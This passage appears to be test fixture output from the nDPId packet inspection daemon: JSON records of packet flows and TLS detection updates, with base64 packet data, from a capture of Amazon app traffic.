jA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQSg\/YDzpbMGRfYIi0q8QT\/d3pG3qpHDoLGOM7k\/h0MymO3MF0Y9WrK5dBzpfpi64vnW3gx\/n2iUbSc3VDLQwWA\/BgEBABc5u17NF4UcOMvIuCb5of2WctWdLjxKYJGb+vNJXEr+DK2PljjiwnirXBY2Vr+9MjsBFjdfKUQh6QoUmuH+ITHiDIQJrGdyfLBJUxjYSxygbcq7PFTLhWu0yexZgvQefSRBevcGVO9mybvKTuLjKH2wmm8AKm9HywyvszutP\/7Bltnoep6K\/1tGsVNteEtGPFsefdxyRFum6laVeWbpTlWtdH+9iGiZqznpe0HfpX0Fg4IRa3gLfNBqBSUGk\/iYVRnFXyrhSl9cThSOnERH0Gu2Dc8AQw99CmvvCYLm\/ZFv54cELZnDxLLLu4vssc3EnZp320TJj3U6oOCal5ncCsoWAwMABA4AAAA="} +02381{"flow_id":155,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2892,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":39960,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcoQ5AAPIGmF00VD5zrBAq2AG7o7jUvy2tHVNMTIAQAHZQkQAAAQEICmz6jKAA9orgFgMDAFQCAABQAwOoc\/4c7y2t24VDpst7Vx0u3G0aKvYyQd+r9kFRBGY3\/gDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwMLowsAC58AC5wABlowggZWMIIFPqADAgECAhBpH0FX++InsW31pP5h+nftMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwOTIzMDAwMDAwWhcNMTcxMDI2MjM1OTU5WjB5MQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEoMCYGA1UEAwwfSW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALEuJO\/+bBZp+65A3qd7KXAfp\/cKV5sEn6gPlLX+kNYjVLDHtwBivFeUG6bFEOhwWdlcNuDzu9KkW7lLTHitJ5nFNZV8ab6lWZc6IgABVBSUzarnyfLq7rKfC2JGnZNxMXEzi1Vj5qs4OUNzMETVJxx9HbMK3VCITO7h6OYz2D3VyZgIJwqq7Onpkkx2YSQTdtBy9Pr3Yx71pOWk\/3vh3jwlUgByGncft+zlHReypSHZCXLE\/RRSYVMOdSSWd9vlmStKxq5H0TRrvkLw+d3p5plGcmL7d1fjoFAWT259eL1DlUmYfkteR\/zCwtPSGW3K6F6CzoKpayF3+Zj22dILQUkCAwEAAaOCAtMwggLPMIGABgNVHREEeTB3gh9JbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZXUuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZmUuc3NsLWltYWdlcy1hbWF6b24uY29tghJtLm1lZGlhLWFtYXpvbi5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGEGA1UdIARaMFgwVgYGZ4EMAQICMEwwIwYIKwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMCsGA1UdHwQkMCIwIKAeoByGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3JsMFcGCCsGAQUFBwEBBEswSTAfBggrBgEFBQcwAYYTaHR0cDovL3NzLnN5bWNkLmNvbTAmBggrBgEFBQcwAoYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcnQwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAVdUkiseAAAEAwBHMEUCIQD6iIA+rmG7QUCCeoEWrVeccR1EZDWz9MXobNmyZkT4uQIgaiJVZCKRbwFdkbUxvM4Cisi\/8VdNDoagQ9TsWHWxRdUAdgBo9pj4H2SCvjqM7rkoHUz8cVFdZ5PURNEKZ6y7T0\/7xAAAAVdUkitHAAAEAwBHMEUCIEoThh0jOnprHDW1k9YHcA6yuygvskznTHLMQPBWQS8oAiEAy\/WI\/dbVY6t2GtrwR2xpuZ7b0b0g40Bn0vI="} +00806{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2892,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":155,"flow_packet_id":6,"flow_first_seen":1490976195983,"flow_last_seen":1490976196039,"flow_tot_l4_data_len":1875,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02384{"flow_id":155,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2893,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":40642,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcoQ9AAPIGmFw0VD5zrBAq2AG7o7jUvzNVHVNMTIAQAHaylAAAAQEICmz6jKAA9orgtH\/sB3rLMA0GCSqGSIb3DQEBCwUAA4IBAQBkiDIxxnEZQrKUokw1tGkpri5hfM77NzUNZVWC0Fgdg74+ZMaxjY5ejtf+ySz7Q4YfW\/gX7WyTv0J6x9UzilKxYpa3x1E+FkaueHDs9uPAqFWK3dEAeXxMgoNrRERymOERcZoEhmu4s90r+y6wcrksN9W2xICvAv60b4k6vUuYH9j27CDbSivSCe71iV6zZ+kGTvIhEJRdwt3iYMyQwQMN55VSSzpX+SrB2wiDul3yiV4HjaS703ElwqvtEXQGCQux6WhUMHOBXzY0kebNFDKYD63s\/sHwq4c2qTdzD3pvCQ16okmwVy481q+faunmHtn14Kr9QeLcLqT7vLASm9BTAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+k="} +02390{"flow_id":155,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2894,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":41445,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcoRBAAPIGmFs0VD5zrBAq2AG7o7jUvzj9HVNMTIAQAHYRnQAAAQEICmz6jKAA9orgdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzI5MDkwMDU3WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEGkfQVf74iexbfWk\/mH6d+2AABgPMjAxNzAzMjkwOTAwNTdaoBEYDzIwMTcwNDA1MDkwMDU3WjANBgkqhkiG9w0BAQUFAAOCAQEAlbbCUTPj5w12J6GrEmf5hV4iufntZZG3Y8S0pI0kB7GvfElrulxav4QgdcZbLdUPkMWM9+kneCt+exqXrJeZ+COEhhUEqc\/nVfEavr\/oYR62P3Lz8Ut0O17jXqENh\/mbjRoREBil\/CIzWU+luSiF\/ZMRq0H1zEw\/mSTmMnhxRiz6ahuQV+JItIEhPJlQs5iWx8ruofIcqOvKelrA24cDxEyufpN9ZEfQvyl5ymmsDXK\/xcHYknZLM3WSC0UUBnlcq4NYqiQh5Pymkkp2G44BW2p9GbWOYszSsqf\/C+hiL7zN1WiscirUykahmZ7D1\/a5eJFOsv0Tf\/hRZVBAlJ3ZHKCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1UdIARnMGUwYwYLYIZIAYb4RQEHFwMwVDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKgYIKwY="} +01233{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2894,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":155,"flow_packet_id":8,"flow_first_seen":1490976195983,"flow_last_seen":1490976196041,"flow_tot_l4_data_len":4835,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":604,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41912,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AmazonVideo","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","server_names":"images-na.ssl-images-amazon.com,images-eu.ssl-images-amazon.com,images-fe.ssl-images-amazon.com,m.media-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=Images-na.ssl-images-amazon.com","alpn":"h2,http\/1.1","fingerprint":"39:3D:27:B3:4D:FA:B4:04:AB:48:7F:5C:CB:A9:9A:95:F5:22:2A:52"}} +01380{"flow_id":155,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2895,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":41545,"pkt_caplen":764,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":764,"pkt_l4_len":730,"pkt":"ePiC0\/vCAMDKkVoBCABFAALuoRFAAPIGm0g0VD5zrBAq2AG7o7jUvz6lHVNMTIAYAHa+pAAAAQEICmz6jKAA9orgAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010zjA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQReLnO1yK+O1hSGuIReaMebRch2Xe6TWDBUnwt+D1SYCGRypj+hmH7Qh+HltcnWSknA\/atb+OjQUf+KtA0w4GXJBgEBAHf91ZU+eYq2X\/RC+cBvtaEpbl2cXDoj9FpIkCktDAP1HDtlPz0IE6Sja6HOaXTlzo1VDdYFnFiD+B0ipEmyHZih8Oku75K8XGYSdZad5bdvpNAm+9bkFTUMHsYgkWsJRqOY+WaUmp957y95rYkUpYh1QGv5EECSRbXcF8rb6aQ\/MCkpvsO9T7rNAOcWpZjFUBIBQ7XS+wndknD5ivF7KAKA8F2YYWhHkQmrqFIpRbu3FHx\/h3WkzQcHo1yMVMNiYBEppPOS6CU\/f++4UZgne7ViQA0LK30h4XuPcdRQTSnhLYto1fjZ8vbeDQsfkblEwru0sR2UkzRVzDvpYYW4EREWAwMABA4AAAA="} +00432{"flow_id":156,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2896,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":49390,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0CnhAAEAG5pysECrYNFQ+c6O5Abv6a4GJA2R2HoAQAXkR3QAAAQEICgD2iuNs+oX3"} +00432{"flow_id":156,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2897,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":49681,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0CnlAAEAG5pusECrYNFQ+c6O5Abv6a4GJA2R42IAQAYQPGAAAAQEICgD2iuNs+oX3"} +00604{"flow_id":156,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2898,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":49814,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyCnpAAEAG5hysECrYNFQ+c6O5Abv6a4GJA2R42IAYAYRO5QAAAQEICgD2iuRs+oX3FgMDAEYQAABCQQRJPJI5ckU+c6NJF0CORANPufMLtlmXoxTyviiJsm7SBks1pkUewhu1PlH13Kb63fM06ckmfAApgu3JTLWhM4I3FAMDAAEBFgMDACgAAAAAAAAAAC2GpyvwjAkC9SEoKi\/Nq5HiVGDJ81ZENKRdKhQGHhG4"} +00432{"flow_id":157,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2899,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":49936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MaBAAEAGv3SsECrYNFQ+c6O6AbtYObwf990wt4AQAWLBGgAAAQEICgD2iuRs+o9Y"} +00432{"flow_id":157,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2900,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50060,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MaFAAEAGv3OsECrYNFQ+c6O6AbtYObwf9902X4AQAW27ZwAAAQEICgD2iuRs+o9Y"} +00432{"flow_id":157,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2901,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50206,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MaJAAEAGv3KsECrYNFQ+c6O6AbtYObwf9908B4AQAXm1swAAAQEICgD2iuRs+o9Y"} +00432{"flow_id":157,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2902,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0MaNAAEAGv3GsECrYNFQ+c6O6AbtYObwf990+wYAQAYSy7gAAAQEICgD2iuRs+o9Y"} +00432{"flow_id":155,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2903,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50494,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0wbFAAEAGL2OsECrYNFQ+c6O4AbsdU0xM1L8zVYAQAWKPDgAAAQEICgD2iuRs+oyg"} +00433{"flow_id":155,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2904,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50619,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0wbJAAEAGL2KsECrYNFQ+c6O4AbsdU0xM1L84\/YAQAW2JWwAAAQEICgD2iuRs+oyg"} +00432{"flow_id":155,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2905,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50746,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0wbNAAEAGL2GsECrYNFQ+c6O4AbsdU0xM1L8+pYAQAXmDpwAAAQEICgD2iuRs+oyg"} +00432{"flow_id":155,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2906,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":50871,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0wbRAAEAGL2CsECrYNFQ+c6O4AbsdU0xM1L9BX4AQAYSA4gAAAQEICgD2iuRs+oyg"} +00606{"flow_id":157,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2907,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":57134,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyMaRAAEAGvvKsECrYNFQ+c6O6AbtYObwf990+wYAYAYRovQAAAQEICgD2iuVs+o9YFgMDAEYQAABCQQRLw1Xt1afKgMwBhTyLXws3I6lfhjp77F8bDmBdrLRozBSuHnJ4iaNT1sfbc4D+khkds1+KsBalbQ82eeMgyxoyFAMDAAEBFgMDACgAAAAAAAAAAPIfznDImRK+dp9h7tX4J6h\/xTZWVqVrSBbs\/PfdU\/KT"} +00603{"flow_id":155,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2908,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":67276,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACywbVAAEAGLuGsECrYNFQ+c6O4AbsdU0xM1L9BX4AYAYSkkwAAAQEICgD2iuZs+oygFgMDAEYQAABCQQScXkjIoHVj9eFK24GofJJ8AB0DRiTwh7TcakJMxtSgtGPH6f3gAfltWruZoZ1gzYllRweDI4XiPrrzBCRrnCnWFAMDAAEBFgMDACgAAAAAAAAAAIP5NNydPUm6hMAx57nXup4fEcU7Y9t9e53wGQgvNoL1"} +00786{"flow_id":156,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2909,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":73717,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ePiC0\/vCAMDKkVoBCABFAAE24NVAAPIGXTw0VD5zrBAq2AG7o7kDZHjY+muCB4AYAHb\/mgAAAQEICmz6hfsA9orkFgMDAMoEAADGAAAqMADAgJEsFgnfW6+1G9seOjvPHE9\/\/e6aDxwC6JqGUw7TrVBH8ld0n+eaosncXzVKigxXDV13pGBWbvSqxAR7a6aP+9zLXgzfTlcvUFopwI3iojJPdc6rEJOF6CbmmRRtUqTqjE58BuzJwfOguXRelkWMiVDz4pMcJHGg3CZo3etPrYTpgLmqbU4Ws6x3rxfQ0\/\/2YxUf6X9ux2nYDy+uxVSXHAOLEMV2\/yneOEmMz0rcYE5Xv1aPnXxfd+Pvam6WHh+WFAMDAAEBFgMDACjKJDrknttVfyQdQYHWYjoVXt7uJcNJaDH4CXVLsJ\/R92bDrdELnzuc"} +00428{"flow_id":158,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2910,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":75142,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwIa5AAOcGR5A27xyyrBAq2AG74sBbwNFvZBCniXASH\/4cPAAAAgQFtAEDAwY="} +00415{"flow_id":158,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2911,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":75924,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoLWpAAEAG4tysECrYNu8csuLAAbtkEKeJW8DRcFAQAVdmrQAA"} 